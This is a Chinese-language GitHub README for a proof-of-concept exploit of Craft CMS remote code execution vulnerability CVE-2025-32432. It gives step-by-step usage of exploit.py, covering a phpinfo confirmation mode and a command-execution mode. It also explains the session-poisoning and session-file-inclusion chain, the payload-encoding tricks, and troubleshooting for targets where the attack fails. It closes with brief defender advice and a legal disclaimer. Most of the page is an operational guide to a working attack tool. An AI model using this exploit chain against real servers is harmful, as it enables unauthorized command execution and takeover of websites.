theeomega/CVE-2025-32432-POC
GitHub: theeomega/CVE-2025-32432-POC
针对 Craft CMS CVE-2025-32432 远程代码执行漏洞的单目标 PoC 工具,支持无害的 phpinfo 确认模式和命令执行模式。
Stars: 0 | Forks: 0
# CVE-2025-32432 Craft CMS PoC
## 概述
CVE-2025-32432 是一个 Craft CMS 远程代码执行漏洞,与通过图像转换生成 endpoint 不安全地创建对象有关。公开的分析表明,该漏洞的利用可能涉及对 `assets/generate-transform` action 的请求以及由 gadget 控制的对象构造。
此 PoC 支持两种模式:
1. **仅检查模式**:通过非破坏性 gadget 触发 `phpinfo()` 来确认漏洞。
2. **命令模式**:在确认漏洞后,执行两步 session 文件包含链,以便在授权目标上执行单个命令。
该脚本专为**单目标测试**设计。它不包含大规模扫描、反弹 shell 辅助工具、持久化、文件上传辅助工具或后渗透自动化功能。
## 受影响版本
根据 GitHub Advisory Database,受影响的 Craft CMS 版本包括:
- `>= 3.0.0-RC1, <= 3.9.14`
- `>= 4.0.0-RC1, <= 4.14.14`
- `>= 5.0.0-RC1, <= 5.6.16`
已修复版本列为:
- `3.9.15`
- `4.14.15`
- `5.6.17`
在使用此工具进行评估之前,请务必对照官方 Craft CMS 公告验证版本和修复指南。
## 仓库内容
```
.
├── exploit.py
├── README.md
└── phpinfo_success.html # Created only after successful phpinfo confirmation
```
## 环境要求
- Python 3.9+
- `requests`
- `urllib3`
安装依赖:
```
python3 -m pip install requests urllib3
```
## 用法
### 1. 仅检查模式
首先使用此模式。它会尝试使用 `phpinfo()` gadget 确认漏洞,并在成功时将响应保存到 `phpinfo_success.html`。
```
python3 exploit.py -u http://target.local
```
预期成功输出:
```
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
```
### 2. 命令模式
在仅检查模式确认目标后,运行单个命令:
```
python3 exploit.py -u http://target.local -c "id"
```
在易受攻击的 Linux 目标上的预期输出:
```
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### 3. 使用已知的 endpoint 和 asset ID
如果您已经知道可用的 endpoint 和 `assetId`,请直接提供它们:
```
python3 exploit.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform"
```
### 4. 自定义 PHP session 目录
常见的 PHP session 目录通常为以下之一:
```
/var/lib/php/sessions
/var/lib/php/session
/tmp
```
手动指定一个:
```
python3 exploit.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
```
重复该选项以测试多个 session 目录:
```
python3 exploit.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions \
--session-dir /var/lib/php/session \
--session-dir /tmp
```
### 5. 自定义前端控制器
某些环境可能不使用 `index.php` 作为前端控制器。例如,如果路由是通过 `x.php` 暴露的:
```
python3 exploit.py \
-u http://target.local \
--front x.php \
-c "id"
```
## 工作原理
### 阶段 1:CSRF 发现
PoC 请求常见的 Craft CMS 登录/管理页面,并从响应中提取 CSRF token。
### 阶段 2:漏洞确认
PoC 向资产转换 endpoint 发送 JSON body,使用尝试调用 `phpinfo()` 的 gadget。
这比直接尝试执行命令更安全,适合用于确认。如果成功,响应将包含 PHP 配置输出,并保存为:
```
phpinfo_success.html
```
### 阶段 3:Session 投毒
PoC 请求一个未经身份验证的管理页面,并在 query parameter 中带入 PHP payload。Craft CMS 会将返回 URL 存储在 PHP session 文件中。
### 阶段 4:Session 文件包含触发
PoC 向图像转换 endpoint 发送另一个请求,并使用 `yii\rbac\PhpManager` 包含被投毒的 session 文件。如果 session 文件包含可执行的 PHP 代码,命令输出将返回在标记之间:
```
CMD_START
...
CMD_END
```
## 重要说明
### 为什么普通的 `assetId` 扫描会失败
一些公开的 PoC 尝试通过发送正常的转换请求并将 HTTP `404` 视为无效来发现有效的 asset ID。
这可能会产生假阴性。目标可能对正常的转换请求返回 `404`,但仍然会触发易受攻击的 gadget 路径。因此,此 PoC 使用实际的 `phpinfo()` gadget 确认流程来发现 endpoint 和 asset ID 的组合。
### 为什么命令输入采用十六进制编码
命令模式将命令作为十六进制传递,以避免 query string 在遇到空格、引号、与号(&)、管道符(|)和重定向符号等字符时出现问题。
### 为什么 payload 避免使用空格
PHP payload 是刻意紧凑的,并尽可能避免使用空格。一些请求库和服务器端路由流程可能会将空格重写为 `+`,这可能会破坏存储在 PHP session 文件中的 payload。
## 故障排除
### `无法提取 CSRF token`
尝试:
```
curl -i http://target.local/index.php?p=admin/dashboard
curl -i http://target.local/index.php?p=admin/login
curl -i http://target.local/admin/login
```
如果所有路由都返回 `404`,则 Craft CMS 可能未挂载在 Web 根目录下,或者可能使用了自定义的前端控制器/路径。
### phpinfo 有效,但命令模式失败
尝试手动指定 session 目录:
```
python3 exploit.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
```
然后尝试:
```
--session-dir /var/lib/php/session
--session-dir /tmp
```
### `无法创建 Image transform`
这可能仍然有用。它可能表明请求到达了易受攻击的转换路径,但在随后的正常 Craft 图像处理过程中失败了。
首先使用仅检查模式,并确认是否创建了 `phpinfo_success.html`。
### 正常扫描显示 `assetId 0 -> HTTP 404`
这并不总是意味着目标是安全的。请使用 `phpinfo()` gadget 流程进行确认,而不是使用正常的转换请求。
## 防御指南
对于防御者:
- 将 Craft CMS 更新到已修复的版本。
- 如果怀疑遭到入侵,请轮换 `CRAFT_SECURITY_KEY`。
- 轮换数据库和环境密钥。
- 检查 Web 根目录和上传目录中是否存在意外的 PHP 文件。
- 检查日志中是否有发往 `actions/assets/generate-transform` 的可疑请求。
- 考虑在边缘/WAF 拦截包含可疑 `__class` 值的 POST body。
## 道德与法律声明
本项目仅出于教育和防御性安全研究目的提供。
请勿对您不拥有或未获得明确测试许可的系统运行此工具。未经授权利用公共系统是非法和不道德的。
作者不对因滥用此工具而造成的任何损害负责。
## 参考
- Craft CMS 公告: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
- GitHub Advisory Database: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
- SensePost / Orange Cyberdefense 分析: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
标签:PoC, Python, 无后门, 暴力破解, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护